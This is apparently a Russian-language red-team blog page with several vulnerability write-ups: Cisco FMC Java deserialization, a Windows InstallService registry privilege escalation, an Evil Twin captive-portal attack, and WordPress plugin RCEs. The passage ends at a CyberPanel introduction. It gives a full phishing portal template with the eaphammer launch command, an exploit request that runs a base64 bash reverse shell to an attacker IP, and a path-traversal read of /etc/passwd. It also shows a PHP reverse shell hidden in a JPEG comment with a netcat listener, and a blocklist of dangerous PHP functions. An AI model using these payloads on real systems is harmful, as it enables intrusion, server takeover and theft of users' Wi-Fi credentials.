GISCYBERTEAM

CVE-2026-20131: как Java-десериализация открыла путь к root на Cisco FMC

2026-09-10T10:41:48.495Z

Введение

CVE-2026-20131 — критическая уязвимость в веб-интерфейсе Cisco Secure Firewall Management Center. Удалённому атакующему не нужны ни учётная запись, ни действия администратора: достаточно отправить специально подготовленный Java-объект. Уязвимый FMC десериализует его, и цепочка вызовов может закончиться выполнением произвольного Java-кода с правами root. К моменту публичного раскрытия уязвимость уже использовали в реальных атаках.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Когда говорят об атаке на firewall, обычно представляют обход правил фильтрации, уязвимость VPN или удалённое выполнение кода на самом шлюзе.

CVE-2026-20131 бьёт в другое место.

Cisco Secure Firewall Management Center (FMC) — это центр управления. Через него администраторы создают политики, меняют сетевые объекты, подключают устройства и распространяют конфигурацию на весь парк firewall.

Поэтому атакующему не обязательно взламывать каждый шлюз по отдельности. Если он получает контроль над FMC, то оказывается рядом с системой, которая говорит всем этим шлюзам, как именно они должны работать.

Cisco раскрыла уязвимость 4 марта 2026 года и присвоила ей максимальную оценку CVSS 10.0. 18 марта компания добавила предупреждение о попытках эксплуатации. В тот же день Amazon Threat Intelligence сообщила, что группировка Interlock использовала уязвимость ещё с 26 января — за 36 дней до публичного раскрытия. 19 марта CVE попала в каталог активно эксплуатируемых уязвимостей CISA KEV.

Что такое CVE-2026-20131

CVE-2026-20131 — это небезопасная десериализация недоверенных данных (CWE-502) в веб-интерфейсе Cisco FMC.

Для успешной атаки не требуется аутентификация. По описанию Cisco, специально подготовленный сериализованный Java-объект может привести к выполнению произвольного Java-кода и повышению привилегий до root.

Здесь важны сразу три детали: запрос приходит по сети, обрабатывается до входа пользователя, а успешная атака заканчивается выполнением кода в привилегированном контексте.

Где находится уязвимость

Упрощённо архитектуру можно представить так:

       Администратор
             │
             ▼
   Web-интерфейс FMC
             │
             ▼
   Java application layer
             │
             ▼
 Политики, объекты, устройства
             │
             ▼
      Управляемые firewall

Ошибка находится на самой верхней границе — там, где веб-интерфейс принимает данные из сети. Но последствия спускаются гораздо ниже: скомпрометированный FMC может стать точкой для кражи конфигурации, закрепления в инфраструктуре и вмешательства в управление защитными устройствами.

Что такое Java-десериализация и где всё ломается

Сериализация превращает объект Java в последовательность байтов, которую можно сохранить или передать по сети. Десериализация делает обратное: читает поток и восстанавливает объект вместе со связями с другими объектами.

На первый взгляд это похоже на разбор JSON. Но есть принципиальная разница.

JSON обычно описывает данные: строки, числа, массивы. Java serialization описывает граф объектов конкретных классов. Пока JVM собирает этот граф, она может вызывать специальные методы вроде readObject() и другие callbacks.

Если вход недоверенный, а набор допустимых классов не ограничен, атакующий получает возможность подобрать такую комбинацию уже существующих в приложении классов, при которой один вызов тянет за собой другой. Такая последовательность называется gadget chain.

Важно: сериализованный поток не содержит готовую Java-программу, которую JVM просто запускает. Он заставляет сервер собрать определённый граф объектов, а уже методы доступных на сервере классов могут привести к выполнению нужного атакующему действия.

Как развивается атака

Этап 1. Запрос попадает в веб-интерфейс без аутентификации

Атакующий отправляет специально сформированный Java byte stream на уязвимый обработчик FMC.

Этап 2. Сервер восстанавливает граф объектов

Уязвимый код начинает десериализацию до того, как убедился, что входу можно доверять.

В этот момент сервер уже работает не просто с набором байтов. Он создаёт экземпляры классов, восстанавливает связи между ними и вызывает предусмотренные механизмом десериализации методы.

Первые четыре байта стандартного Java serialization stream выглядят так:

AC ED 00 05

Этап 3. Срабатывает gadget chain

Если в classpath конкретной сборки FMC есть подходящие классы, специально построенный объект может выстроить нужную атакующему цепочку вызовов их методов.

Упрощённо:

 Недоверенный HTTP body
          │
          ▼
 Java-десериализация
          │
          ▼
 Восстановление object graph
          │
          ▼
     Gadget chain
          │
          ▼
 Выполнение Java-кода

Отсюда ещё одна важная деталь: payload зависит от окружения. Цепочка, работающая на одной версии приложения, может не сработать на другой из-за отличий в библиотеках и их версиях.

Этап 4. Код выполняется с правами root

По данным Cisco, успешная эксплуатация позволяет выполнить произвольный Java-код и повысить привилегии до root.

После этого речь идёт уже не только о доступе к веб-интерфейсу. Атакующий получает контроль над самим сервером управления и может переходить к закреплению, разведке внутренней сети и вмешательству в конфигурацию безопасности.

Как уязвимость использовали в реальных атаках

История CVE-2026-20131 стала особенно неприятной после публикации расследования Amazon Threat Intelligence.

Исследователи обнаружили активность группировки Interlock, начавшуюся 26 января 2026 года. В HTTP-запросах к уязвимому ПО находились попытки выполнения Java-кода и две ссылки: одна использовалась для получения данных, необходимых эксплойту, другая — для проверки успешного выполнения через исходящий HTTP PUT-запрос от жертвы.

Amazon имитировала такой callback, фактически притворившись уже взломанным сервером. В ответ операторы Interlock перешли к следующей стадии и отправили команды на загрузку и запуск вредоносного ELF-файла.

Дальше цепочка выглядела как полноценное ransomware-вторжение. В инфраструктуре атакующих исследователи нашли инструменты разведки, Java- и JavaScript-бэкдоры, легитимный ScreenConnect для резервного удалённого доступа и memory-resident web shell, который регистрировался в Java-приложении и выполнял код прямо в памяти.

Почему «FMC не смотрит в интернет» — не решение

Закрытый management interface действительно уменьшает поверхность атаки. Cisco прямо отмечает это в advisory.

Но сетевое ограничение не исправляет небезопасную десериализацию. Запрос всё ещё может прийти с администраторской рабочей станции, через скомпрометированный VPN, из соседнего сегмента или от другого узла внутри сети.

Правильная модель выглядит так:

Fixed software
      +
Доступ только через management-сегмент
      +
Мониторинг и ретроспективная проверка

Патч закрывает первопричину. Ограничение доступа сокращает число тех, кто вообще может добраться до интерфейса. Мониторинг помогает понять, не произошло ли вторжение раньше.

Что делать владельцу FMC

1. Проверить именно версию FMC

Не ASA и не FTD, а management server: release и build FMC нужно сопоставить с официальным Cisco Software Checker.

2. Установить fixed software

Cisco выпустила обновления и отдельно подчёркивает, что полноценного workaround нет. Если FMC ещё не обновлён, сетевые ограничения стоит рассматривать только как временное снижение риска.

Для Cisco Security Cloud Control исправление уже развёрнуто самой Cisco; пользователям SaaS отдельное действие не требуется.

3. Ограничить доступ к management interface

FMC должен быть доступен только из выделенного management-сегмента — через VPN или bastion и с явным списком разрешённых источников. Публичный доступ к панели управления превращает pre-auth RCE в проблему совсем другого масштаба.

Итог

CVE-2026-20131 — хороший пример того, почему центр управления защитой сам должен считаться критическим активом.

Уязвимый FMC принимал недоверенный Java byte stream и начинал восстанавливать переданный граф объектов. Подходящая gadget chain могла привести к выполнению произвольного Java-кода, а затем — к повышению привилегий до root.

Упрощённо:

Запрос без аутентификации
           ↓
Сериализованный Java-объект
           ↓
Небезопасная десериализация
           ↓
Gadget chain
           ↓
Java-код с правами root
           ↓
Компрометация management plane

Главный практический вывод прост: проверить версию FMC, установить fixed software и изучить журналы за прошлые периоды, если интерфейс был доступен из недоверенной сети.

CVE-2026-50343(CWE-269: Improper Privilege Management): повышение привилегий через Windows InstallService

2026-09-02T13:26:49.547Z

Введение

Уязвимость связана с тем, что стандартный пользователь может изменять определённые ветки HKLM регистра, которые впоследствии читаются и обрабатываются InstallService в привилегированном контексте. В результате системный сервис может загрузить контролируемую пользователем DLL и выполнить её с привилегиями NT AUTHORITY\SYSTEM.

InstallService и plugin state

InstallService является частью Windows, связанной с установкой и обновлением приложений. Сервис работает с привилегиями NT AUTHORITY\SYSTEM, поэтому код, загруженный в его процесс, также выполняется в контексте SYSTEM.

Для обработки plugin InstallService использует состояние в реестре:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\InstallService\State

В рассматриваемой цепочке важны:

PlugInList
StaticPluginMap

Упрощённо их роль выглядит так:

PlugInList
    │
    └── название плагина и его состояние

StaticPluginMap
    │
    └── название плагина → что подгрузить

При обработке plugin InstallService проходит через внутреннюю цепочку выбора и активации:

InstallServiceControl::CreateInstallServiceWork
        ↓
InstallQueue2::CreateWork
        ↓
CreateInstallServiceWorkByPlugin
        ↓
PluginHelpers::IsPluginAvailable
        ↓
PluginHelpers::GetPluginFromStaticMap
        ↓
PluginHelpers::ActivatePlugin

На уязвимых сборках стандартный пользователь, состоящий в группе NT AUTHORITY\INTERACTIVE может создавать необходимые ключи и записывать значения в эти разделы. После этого те же данные используются привилегированным InstallService.

Интересная особенность CVE заключается в том, что StaticPluginMap может участвовать в двух вариантах цепочки загрузки DLL:

StaticPluginMap → путь к DLL → загрузка DLL

или:

StaticPluginMap → CLSID
                         ↓
                  CoCreateInstance()
                         ↓
                    InprocServer32
                         ↓
                        DLL

Оба варианта приводят к загрузке контролируемого кода в контексте InstallService.

StaticPluginMap -> путь к DLL

В StaticPluginMap непосредственно указывается путь к контролируемой DLL:

StaticPluginMap
└── <plugin_name> = C:\...\payload.dll

Одновременно создаётся plugin entry:

PlugInList
└── <plugin_name> = 1

Подготовленное состояние выглядит следующим образом:

HKLM
└── SOFTWARE
    └── Microsoft
        └── Windows
            └── CurrentVersion
                └── InstallService
                    └── State
                        ├── PlugInList
                        │   └── <plugin_name> = 1
                        │
                        └── StaticPluginMap
                            └── <plugin_name> = C:\...\payload.dll

Реализация уязвимости

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Подготовленного registry state недостаточно - необходимо инициировать работу InstallService.

Сделать это предлагается вызовом:

Windows.ApplicationModel.Store.Preview.InstallControl.AppInstallManager.SearchForAllUpdatesAsync()

Как защищаться

Основная мера защиты — установка исправления Microsoft.

Уязвимость была исправлена 14 июля 2026 года. Для затронутых версий Windows необходимо установить соответствующее накопительное обновление безопасности и убедиться, что система находится на исправленном build.

До установки исправления для обнаружения можно контролировать изменения:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\InstallService\State

особенно:

PlugInList
StaticPluginMap

Подозрительными признаками являются:

создание новых plugin entries;
изменение StaticPluginMap;
значения, указывающие на пользовательские каталоги;
изменение этих ключей из пользовательского контекста;
загрузка нестандартных DLL системными процессами.

Для COM-варианта полезно дополнительно сопоставлять:

StaticPluginMap
      ↓
CLSID
      ↓
HKLM\SOFTWARE\Classes\CLSID\<CLSID>\InprocServer32
      ↓
DLL

Отдельно стоит отслеживать загрузку DLL из пользовательских и writable-каталогов системными процессами.

После установки обновления имеет смысл проверить права на:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\InstallService\State

и убедиться, что стандартный пользователь не может изменять plugin state.

Заключение

CVE-2026-50343 возникает из-за нарушения границы доверия между стандартным пользователем и привилегированным InstallService.

Низкопривилегированный пользователь получает возможность управлять plugin state:

PlugInList
StaticPluginMap

после чего InstallService использует эти данные для активации plugin.

Существует два основных варианта цепочки:

StaticPluginMap
                       │
             ┌─────────┴─────────┐
             │                   │
             ▼                   ▼
         DLL path              CLSID
             │                   │
             │             CoCreateInstance()
             │                   │
             │             InprocServer32
             │                   │
             └─────────┬─────────┘
                       ▼
                    DLL load
                       │
                       ▼
                 InstallService
                    SYSTEM
                       │
                       ▼
                 Code execution

В первом варианте StaticPluginMap непосредственно содержит путь к DLL.

Во втором он содержит CLSID. InstallService передаёт его в CoCreateInstance(), после чего COM получает DLL через InprocServer32.

Таким образом, CLSID — не обязательная часть эксплуатации. Это один из механизмов, через который контролируемый StaticPluginMap может быть доведён до загрузки DLL.

Похищение данных для подключения к Wi-Fi через Captive Portal

2025-01-22T09:22:38.279Z

Введение

Наверняка каждый, кто когда-либо подключался к публичной Wi-Fi сети, сталкивался с так называемым порталом авторизации, или captive portal.

Captive portal — это веб-интерфейс, который появляется при попытке доступа к интернету через публичную Wi-Fi сеть. Он требует от пользователя выполнения определенных действий, таких как ввод логина и пароля, согласие с условиями использования или просмотр рекламы, прежде чем предоставить доступ к интернету.

Пример того как может выглядеть Captive Portal:

В данной статье будет рассмотрен процесс создания фальшивой точки доступа (Evil Twin) с целью перехвата данных, которые жертва введет на портале авторизации нашей сети.

Evil Twin атака на Wi-Fi — это тип кибератаки, при которой злоумышленник создает поддельную точку доступа Wi-Fi, которая выглядит как легитимная. Пользователи, подключаясь к этой фальшивой сети, могут случайно раскрыть свои личные данные, такие как пароли и другую конфиденциальную информацию. Злоумышленник может перехватывать трафик и использовать его в своих целях.

Evil Twin с Captive Portal — это более сложная версия этой атаки, где злоумышленник использует поддельный Captive Portal (веб-страницу, на которую перенаправляются пользователи для аутентификации или согласия на использование сети). После подключения к поддельной сети пользователи видят страницу, которая может имитировать легитимный портал, например, страницу входа в Wi-Fi в кафе или отеле. На этой странице злоумышленник может запрашивать ввод учетных данных, что позволяет ему получить доступ к личной информации жертвы.

Более подробную информацию об атаках на Wi-Fi сети можно найти здесь и здесь.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Установка утилиты для атаки

Для реализации атаки будет использована утилита eaphammer. Если вы используете Kali Linux, установку eaphammer можно выполнить с помощью следующих команд:

sudo apt update
sudo apt upgrade
sudo apt install eaphammer

Если вы работаете с Parrot OS или другой операционной системой, установку утилиты можно осуществить следующим образом:

git clone <https://github.com/s0lst1c3/eaphammer.git>
./parrot-setup # либо kali-setup, либо ubuntu-unattended-setup, либо raspbian-setup

Более подробную информацию по установке можно найти здесь.

Создание страницы Captive Portal

Стандартная страница Captive Portal имеет исключительно иллюстративный характер, и собрать какие-либо реальные данные с её помощью вряд ли удастся, так как пользователи, скорее всего, не будут вводить свои данные на подобной странице:

Поэтому давайте перейдем к созданию собственного шаблона портала авторизации. Для начала разработаем простую HTML-страницу, которая будет вызывать меньше подозрений. В результате запросов двумя промптами могущественному ИИ была создана следующая привлекательная страница:

Код страницы:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Wi-Fi Access</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
    <style>
        body {
            background-color: #f8f9fa;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
        .card {
            width: 100%;
            max-width: 400px;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
            border: none;
        }
        .btn-primary {
            background-color: #007bff;
            border: none;
        }
        .btn-primary:hover {
            background-color: #0056b3;
        }
    </style>
</head>
<body>
    <div class="card p-4">
        <div class="text-center mb-4">
            <img src="static/giscyberteam.svg" alt="Logo" class="img-fluid mb-3" style="max-height: 200px;">
            <p class="text-muted">Вы были отключены от Wi-Fi сети <strong>GISCYBERTEAM</strong>. Пожалуйста, введит>
        </div>
        <form>
            <div class="mb-3">
                <label for="password" class="form-label">Пароль</label>
                <input type="password" name="password" class="form-control" id="password" placeholder="Введите пароль от сети" requ>
		            <input type="hidden" name="username" value="undefined">
            </div>
            <div class="d-grid">
                <button type="submit" class="btn btn-primary">Подключиться</button>
            </div>
        </form>
    </div>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>

К сожалению, eaphammer не поддерживает "сырые" HTML-страницы и принимает только шаблоны Jinja. Также следует учесть несколько важных моментов:

Все файлы, подключаемые через CDN (например Bootstrap), должны быть доступны локально, так как клиент в сети Evil Twin не будет иметь доступа к интернету и сможет получить их только с атакуемой машины.
Все подключаемые файлы (изображения, стили и т.д.) должны находиться в директории static, иначе веб-сервер eaphammer не сможет их обнаружить.
Файл index.html должен быть разделен на body.html и head.html, которые будут содержать соответствующие секции исходной страницы.
eaphammer не обрабатывает POST-параметры, кроме username и password. Более того, оба параметра должны присутствовать в запросе. Поэтому, даже если вам не требуется собирать, например, username, необходимо создать скрытый input с атрибутом name="username".

В соответствии с указанными требованиями, давайте создадим шаблон для captive portal. Мы разделим его на две части: head.html и body.html.

Код head.html:

{% block head %}
<meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Wi-Fi Access</title>
    <link href="{{ url_for('static', filename='bootstrap.min.css') }}" rel="stylesheet">
    <style>
        body {
            background-color: #f8f9fa;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
        .card {
            width: 100%;
            max-width: 400px;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
            border: none;
        }
        .btn-primary {
            background-color: #007bff;
            border: none;
        }
        .btn-primary:hover {
            background-color: #0056b3;
        }
    </style>
{% endblock %}

Код body.html:

{% block body %}
<div class="card p-4">
        <div class="text-center mb-4">
            <img src="{{ url_for('static', filename='giscyberteam.svg') }}" alt="Logo" class="img-fluid mb-3" style>
            <p class="text-muted">Вы были отключены от Wi-Fi сети <strong>GISCYBERTEAM</strong>. Пожалуйста, введит>
        </div>
        <form method="POST">
            <div class="mb-3">
                <label for="password" class="form-label">Пароль</label>
                <input type="password" class="form-control" name="password" id="password" placeholder="Введите паро>
                <input type="hidden" name="username" value="undefined">
</div>
            <div class="d-grid">
                <button type="submit" class="btn btn-primary">Подключиться</button>
            </div>
        </form>
    </div>

    <script src="{{ url_for('static', filename='bootstrap.bundle.min.js') }}"></script>
{% endblock %}

Всё содержимое шаблона необходимо поместить в директорию /usr/share/eaphammer/templates/<название шаблона>(в настоящем примере - /usr/share/eaphammer/templates/giscyberteam).

Запуск Evil Twin с Captive Portal

Для запуска Evil Twin с Captive Portal можно использовать следующую команду:

sudo eaphammer --essid GISCYBERTEAM --captive-portal --portal-template=giscyberteam --auth open --interface wlan0

Описание опций:

--essid - имя беспроводной сети

--captive-portal - указывает eaphammer, что после подключения к сети клиента необходимо направить на портал авторизации

--portal-template - указывает название шаблона captive portal. Фактически это название директории из /usr/share/eaphammer/templates

--auth - метод аутентификации (в настоящем примере open, что значит подключение осуществляется без пароля

--interface - название интерфейса Wi-Fi адаптера, на котором будет поднята точка доступа

Атака требует наличие адаптера Wi-Fi, способного поднимать собственную точку доступа (AP - Access Point).

После запуска утилиты можно будет подключиться к фальшивой точке доступа:

В случае ввода данных пользователем они появятся в выводе eaphammer’a:

Заключение

В заключение, в данной статье была рассмотрена атака Evil Twin, реализованная через Captive Portal с использованием кастомного шаблона веб-страницы для веб-сервера eaphammer.

Данная атака в значительной степени основывается на принципах социальной инженерии, что подчеркивает важность повышения осведомленности пользователей о потенциальных угрозах.

Для эффективной защиты от подобных атак настоятельно рекомендуется проводить регулярное обучение персонала основам информационной безопасности, что позволит снизить риски и повысить уровень защиты корпоративных сетей.

Remote Code Execution в Widget Options (WordPress Plugin) - CVE-2024-8672

2024-12-18T11:06:04.154Z

Введение

8 ноября 2024 года в плагине Widget Options для WordPress, который установлен более чем на 100,000 сайтах, была выявлена критическая уязвимость с оценкой 9.9 по CVSS.

Уязвимость позволяет выполнять удалённое исполнение вредоносного кода пользователю, имеющему права "Contributor" и выше. Уязвимости подвержены все версии плагина ниже 4.0.7 (включительно).

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Подготовка стендового окружения

Для работы WordPress необходимо установить веб-сервер с поддержкой PHP, а также поднять MySQL. В качестве тестового окружения будет использоваться XAMPP.

Установка WordPress

Заходим на страницу загрузки WordPress и скачиваем последнюю версию:

Теперь нужно разархивировать WordPress и перенести его в корневой каталог веб-сервера (для XAMPP - /opt/lampp/htdocs):

cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/

Также нужно изменить владельца папки wordpress на пользователя веб-сервера (в случае с XAMPP - daemon):

sudo chown -R daemon:daemon /opt/lampp/htdocs

Дальнейшая установка происходит в GUI WordPress.

Чтобы перейти к нему в браузере заходим на http://127.0.0.1/wordpress:

Здесь необходимо будет указать данные для подключения к MySQL (для XAMPP - имя пользователя root и пустой пароль), а также создать админского пользователя:

WordPress установлен, перейдём к установке уязвимого плагина. Скачать его можно с официального магазина плагинов WordPress.

После скачивания архива необходимо добавить плагин в разделе Plugins -> Installed Plugins:

Для корректной работы плагина необходимо создать пользователя с правами Contributor или выше. Это можно сделать в разделе Users:

Эксплуатация уязвимости

Для эксплуатации уязвимости требуется предварительное получение токена X-WP-Nonce для доступа к API. Токен можно получить, например, в процессе редактирования поста. Для этого необходимо войти в аккаунт пользователя с правами Contributor или выше, перейти в раздел Pages и создать новую страницу:

После этого открывается редактор новой страницы, который обращается к API WordPress, передавая заголовок X-WP-Nonce, который нам и нужен:

Теперь, для удалённого исполнения кода достаточно отправить GET или POST запрос:

GET /wordpress/wp-json/wp/v2/block-renderer/core/latest-comments?context=edit&attributes[commentsToShow]=5&attributes[displayAvatar]=true&attributes[displayDate]=true&attributes[displayExcerpt]=true&attributes[extended_widget_opts][class][logic]=system('echo%20YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xNzIuMjAuMTAuNy85MDkwIDA%2bJjE%3d%20%7c%20base64%20-d%20%7c%20bash')%3b&post_id=0&_locale=site HTTP/1.1
Host: 172.20.10.4
X-WP-Nonce: 9e522759e7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Cookie: wordpress_1b6551980342ecf58eebf5856affe450=giscyber%7C1734595337%7CF8sUnAXgLkDM8n7uBpdWopkriSjO1WFUnF91dG5D8rT%7C8fa7c9c6dcc8623f61635c8ada3264d95e587a7707d0e7b3c400e74863995bbe; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_1b6551980342ecf58eebf5856affe450=giscyber%7C1734595337%7CF8sUnAXgLkDM8n7uBpdWopkriSjO1WFUnF91dG5D8rT%7C4588a3ce29d09a5b7e7ddf6db7e3abe10380154abd51cdd4db3e31b16a4e13c2; wp-settings-time-3=1734422641

Здесь параметр GET attributes[extended_widget_opts][class][logic] передается в функцию PHP eval, которая выполняет переданный ей аргумент как код PHP. При этом значение данного параметра содержит вызов функции system, что позволяет исполнять переданный аргумент как команду в терминале операционной системы сервера.

Таким образом, в терминал операционной системы сервера передается команда echo YmFzaCAtaSA JiAvZGV2L3RjcC8xNzIuMjAuMTAuNy85MDkwIDAJjE= | base64 -d | bash, которая представляет собой инструкцию для отправки обратного шелла (или reverse shell) на атакующую машину. Эта команда декодирует закодированную строку с помощью base64 и передает результат в интерпретатор bash, что позволяет получить удаленный доступ к системе и выполнять произвольные команды.

Reverse shell — это метод удаленного доступа, при котором целевая машина устанавливает соединение с атакующей машиной, позволяя выполнять команды на целевой системе. В отличие от обычного шелла, где атакующий инициирует соединение, в reverse shell инициатором является жертва, что помогает обойти некоторые меры безопасности, такие как брандмауэры.

Причины уязвимости

Причина уязвимости тривиальна: разработчики передают GET-параметр в функцию eval без каких-либо проверок или валидации. Ниже представлен код функции, в которую передается уязвимый GET-параметр до устранения данной уязвимости:

function widgetopts_safe_eval($expression)
{
    ob_start();
    try {
        $result = (bool) eval("return $expression;");
    } catch (Throwable $e) {
        return false;
    }
    ob_end_clean();

    return $result;
}

Как видно, к выражению не применяются никакие фильтры, и оно сразу передается в функцию eval. После исправления разработчик внедрил фильтрацию потенциально опасных функций PHP, в результате чего функция была модифицирована следующим образом:

function widgetopts_safe_eval($expression)
{
    // List of potentially harmful patterns
    $dangerous_patterns = [
        // Database-related keywords
        '/\binsert\b/i',
        '/\bupdate\b/i',
        '/\bdelete\b/i',
        '/\breplace\b/i',
        '/\bselect\b/i',
        '/\bdrop\b/i',
        '/\balter\b/i',

        // WordPress-specific database functions
        '/\bwp_insert_post\b/i',
        '/\bwp_update_post\b/i',
        '/\bwp_delete_post\b/i',
        '/\bwp_insert_user\b/i',
        '/\bwp_update_user\b/i',
        '/\bwp_delete_user\b/i',
        '/\badd_option\b/i',
        '/\bupdate_option\b/i',
        '/\bdelete_option\b/i',
        '/\bwpdb\b/i',

        // JavaScript, CSS, and HTML
        '/<script\b[^>]*>(.*?)<\/script>/i',
        '/<style\b[^>]*>(.*?)<\/style>/i',

        // PHP file manipulation functions
        '/\bfile_put_contents\b/i',
        '/\bfile_get_contents\b/i',
        '/\bfopen\b/i',
        '/\bfwrite\b/i',
        '/\bunlink\b/i',
        '/\brename\b/i',
        '/\bchmod\b/i',
        '/\bchown\b/i',
        '/\bcopy\b/i',
        '/\bscandir\b/i',

        // External connections
        '/\bwp_remote_get\b/i',
        '/\bwp_remote_post\b/i',
        '/\bcurl_init\b/i',
        '/\bstream_context_create\b/i',

        // Reflection and dynamic variable/function manipulation
        '/\bReflectionClass\b/i',
        '/\bReflectionMethod\b/i',
        '/\bReflectionProperty\b/i',
        '/\bcall_user_func\b/i',
        '/\bcall_user_func_array\b/i',
        '/\bextract\b/i',
        '/\bparse_str\b/i',

        // System commands
        '/\beval\b/i',
        '/\bsystem\b/i',
        '/\bshell_exec\b/i',
        '/\bexec\b/i',
        '/\bpassthru\b/i',
        '/\bpopen\b/i'
    ];

    $return = true;
    // Pattern matching
    foreach ($dangerous_patterns as $pattern) {
        if (preg_match($pattern, $expression)) {
            $return = false;
            break;
        }
    }

    if ($return === false) {
        return $return;
    }

    if (stristr($expression, "return") === false) {
        $expression = "return (" . $expression . ");";
    }

    ob_start();
    try {
        $result = (bool) (@eval($expression));
    } catch (\Exception $e) {
        $result = false;
    } catch (\Error $e) {
        $result = false;
    } catch (\ParseError $e) {
        $result = false;
    } catch (\Throwable $e) {
        $result = false;
    }
    ob_end_clean();

    return $result;
}

Стоит отметить, что примененный в решении разработчика подход "черного списка" является менее безопасным по сравнению с подходом "белого списка". Более надежным вариантом было бы составить список разрешенных функций, а не список запрещенных, что значительно снизило бы риск эксплуатации уязвимостей и повысило бы общую безопасность приложения.

Заключение

В заключение, уязвимость CVE-2024-8672, обладающая высоким уровнем критичности с оценкой CVSS 9.9, представляет серьезную угрозу для безопасности приложений, позволяя пользователям с правами Contributor и выше выполнять удаленное исполнение кода на сервере. Это может привести к компрометации данных и нарушению работы системы.

В связи с этим, настоятельно рекомендуется всем пользователям обновить плагин до последней версии (на момент написания статьи - 4.0.8), в которой данная уязвимость была устранена.

Сегодня мы рассмотрим критическую уязвимость в плагине WordPress, затрагивающую более 100,000 сайтов. Данная уязвимость имеет высокую оценку CVSS 9.9 и предоставляет пользователям с правами Contributor и выше возможность удаленного выполнения вредоносного кода на сервере приложения.

Критическая уязвимость в Wordpress-плагине WP Umbrella (CVE-2024-12209)

2024-12-17T15:16:38.840Z

Введение

В популярном плагине WordPress — WP Umbrella, установленном более чем на 30 000 сайтов, была обнаружена критическая уязвимость. Этот недостаток, получивший идентификатор CVE-2024-12209, может позволить неавторизованным злоумышленникам полностью захватить контроль над уязвимыми сайтами.

Уязвимость имеет оценку в 9.8 баллов по CVSS.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Для чего используется плагин WP Umbrella

WP Umbrella — это плагин для управления WordPress-сайтами, который облегчает мониторинг, управление и обслуживание множества сайтов с одной центральной панели. Этот инструмент особенно полезен для разработчиков, агентств и владельцев бизнеса, которые обслуживают несколько сайтов WordPress.

Подготовка стендового окружения

Установка WordPress

Заходим на страницу загрузки WordPress и скачиваем последнюю версию:

Теперь нужно разархивировать WordPress и перенести его в корневой каталог веб-сервера (для XAMPP - /opt/lampp/htdocs):

cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/

Также нужно изменить владельца папки wordpress на пользователя веб-сервера (в случае с XAMPP - daemon):

sudo chown -R daemon:daemon /opt/lampp/htdocs

Дальнейшая установка происходит в GUI WordPress. Чтобы перейти к нему в браузере заходим на http://127.0.0.1/wordpress

Разбор уязвимости

LFI (Local File Inclusion) — это уязвимость в веб-приложениях, которая позволяет злоумышленнику включать файлы с локального сервера в контексте работы приложения. Обычно она возникает из-за недостаточной обработки входных данных в функциях, которые динамически подключают файлы, например, в PHP через include, require, include_once или require_once.

LFI в WP Umbrella доступна через параметр filename в функции umbrella-restore.

В статье будет рассмотрено два вектора эксплуатации уязвимости:

Для пользователя с ролью “Участник”, которому не доступна загрузка медиафайлов.
Для пользователя с ролью “Автор”, которому доступна загрузка медиафайлов.

Первый вектор

Для эксплуатации используем уже существующий PoC.

https://wp-dev.ddev.site/?umbrella-restore=1&filename=../../../../../../etc/passwd

Второй вектор

Подготовим jpg файл, который нужно будет загрузить на сервер. При помощи ExifTool добавим в комментарий Reverse Shell:

exiftool -Comment="<?php system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash')?>" name.jpg

Чтобы загрузить файл, необходимо перейти во вкладку “Медиафайлы” и нажать “Добавить новый медиафайл”.

Когда файл загружен необходимо узнать по какому пути он находится, для этого можно скопировать URL:

От лица атакующего необходимо запустить слушателя:

nc -lvnp 4444

Теперь при помощи LFI можно открыть этот файл:

http://localhost/?umbrella-restore=1&filename=wp-content/uploads/2024/12/maxresdefault.jpg

Получаем connect:

Прочитаем флаг:

Заключение

CVE-2024-12209 демонстрирует критическую важность регулярного мониторинга и обновления используемых плагинов для WordPress.

Уязвимость в WP Umbrella, связанная с локальным включением файлов, позволяет атакующим осуществлять удалённое выполнение кода, что приводит к серьёзным последствиям, включая утечку данных и полный контроль над сервером.

CyberPanel Command Injection Vulnerability (CVE-2024-51378)

2024-12-16T07:24:00.842Z

Введение

В программном обеспечении CyberPanel обнаружена уязвимость, связанная с обходом аутентификации и выполнением произвольных команд через эндпоинты /dns/getresetstatus и /ftp/getresetstatus. Уязвимость присутствует в файлах dns/views.py и ftp/views.py версий до 2.3.7 включительно.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Что такое CyberPanel

